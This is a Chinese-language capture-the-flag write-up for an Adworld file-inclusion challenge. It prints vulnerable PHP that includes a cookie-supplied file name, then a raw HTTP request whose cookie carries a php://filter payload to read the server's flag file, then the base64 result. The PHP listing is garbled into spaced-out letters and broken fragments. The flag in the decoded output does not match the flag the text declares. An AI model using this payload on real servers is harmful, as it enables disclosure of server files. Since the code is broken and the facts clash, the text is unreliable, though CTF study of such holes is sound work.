攻防世界-adworld-fileinclude

攻防世界-adworld-fileinclude

攻防世界-adworld-fileinclude_第1张图片

?php
if( !ini_get(‘display_errors’) ) {
ini_set(‘display_errors’, ‘On’);
}
error_reporting(E_ALL);
$lan = C O O K I E [ ′ l a n g u a g e ′ ] ; i f ( ! _COOKIE['language']; if(! COOKIE[language];if(!lan)
{
@setcookie(“language”,“english”);
@include(“english.php”);
}
else
{
@include($lan.“.php”);
}
$x=file_get_contents(‘index.php’);
echo $x;
?

攻防世界-adworld-fileinclude_第2张图片

攻防世界-adworld-fileinclude_第3张图片

GET / HTTP/1.1
Host: 61.147.171.105:54106
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cookie: language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag

PD9waHANCiRmbGFnPSJjeWJlcnBlYWNlezczZDI2NmU3OTUyMjMxYTViMjZkZTFlMjg0ODM0Y2IyfSI7DQo/Pg==

攻防世界-adworld-fileinclude_第4张图片

找到flag
cyberpeace{f67525b85cbccbdfa4c05607fff7ce34}

参考:https://blog.csdn.net/lyshark_lyshark/article/details/126799168

你可能感兴趣的:(攻防世界CTF,ctf,web,ctf,CTF,网络安全,web安全,python)